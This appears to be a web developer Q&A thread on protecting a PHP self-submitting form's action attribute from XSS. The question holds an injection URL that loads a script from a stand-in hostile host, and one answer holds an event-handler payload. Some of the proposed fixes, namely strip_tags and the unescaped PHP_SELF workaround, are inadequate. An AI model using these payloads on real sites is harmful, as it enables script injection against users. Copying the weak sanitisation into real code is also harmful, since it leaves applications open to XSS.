tags:

views:

216

answers:

5

With forms I've always used

<form method="post" action="<?php echo strip_tags($_SERVER['REQUEST_URI']); ?>">

To get my forms to submit to themselves.

I use striptags() in case someone links to:

http://www.mysite.com/page-with-form.php?bla="&gt;&lt;script src="http://www.nasty.com/super-nasty.js"&gt;&lt;/script&gt;&lt;a href="#

Have I covered all bases, to secure from XSS attacks, or should I use a more whitelist approach, say a regex that only allows alphanumerical characters, the forward slash, question mark, equals sign, parenthesis etc?

Thank you!

+2  A: 

Have a form submit to itself by sending it to this:

$_SERVER["PHP_SELF"]

That global variable will output the current page. Unless there's a reason you need the entire query string along with it?

EDIT

Since as pointed out by VolkerK in the comments, even PHP_SELF is vulnerable, you can write your own little variable based off the PHP_SELF and explode out the rest of the URI that you know is not part of your page. Something like this:

$file_ext = '.php'; //knowing what file extension your URI is
$page_on = $_SERVER["PHP_SELF"]; //grab this page, with all that junk
$page_huh = explode($file_ext, $page_on); //blow it apart based on file ext
$page_on = $page_huh[0].$file_ext; //attach the leg back onto the URI

echo $page_on;
random
Possibly could, I wonder if it'll still work with my rewritten URIs.
alex
$_SERVER['PHP_SELF'] itselft is no protection against xss as it may contain things other then the script's path and my be manipulated by users, see http://seancoates.com/xss-woes
VolkerK
@VolkerK - Ah, good call on that.
random
...even though my word/typo ratio is bad - it's 7am here and I just crawled out of bed ;)
VolkerK
@VolkerK: Wow... good tip. I had no idea that exploit existed.
Andrew
A: 

If your striptags() strips only tags (characters between "<" and ">" including the angle brackets), someone can still inject javascript:

http://www.mysite.com/page-with-form.php?bla=" onsubmit="return function(){ /*nasty code here*/ }()" style="

Better whitelist every possible meta-characters in HTML, Javascript and CSS (i.e. angle brackets, parenthesis, braces, semi-colons, double quote, single quote, etc).

maxyfc
+5  A: 

Use htmlspecialchars instead of strip_tags.

Gumbo
Will that encode any ?, /, = ? I'll need to look into it, thanks.
alex
Gumbo
Sounds like this might be my easiest solution, thanks Gumbo!
alex
+2  A: 

If you want to reference the same schema/host/path a simple action="?" schould suffice. According to http://tools.ietf.org/html/rfc3986#section-4.2

relative-ref  = relative-part [ "?" query ] [ "#" fragment ]

      relative-part = "//" authority path-abempty
                    / path-absolute
                    / path-noscheme
                    / path-empty

it's a valid relative uri.

VolkerK
+1 - Nice 1 character solution. Code golf much?
random
Is this reliable in all browsers? Pretty cool if it is :) Thanks for your answer.
alex
"Is this reliable in all browsers?" Haven't tested extensively. IE, Firefox, Opera and links acept it. And I don't see why another browser shouldn't. Even action="" should be valid (is it really?). I would just put the ? in there to avoid "hey, you missed filling in the url" ;-)
VolkerK
@VolkerK I've seen another question in here reguarding a blank action, it seemed like a question mark is the best way to go.
alex
A: 

If you want a form to submit to itself, just leave the action empty e.g.

<form action="" method="POST">
...
</form>
I don't think that validates but. And it has problems in Webkit browsers IIRC.
alex
It definitely has some problems on some versions of IIS, if combined with a <input type="file", IIRC...
Jrgns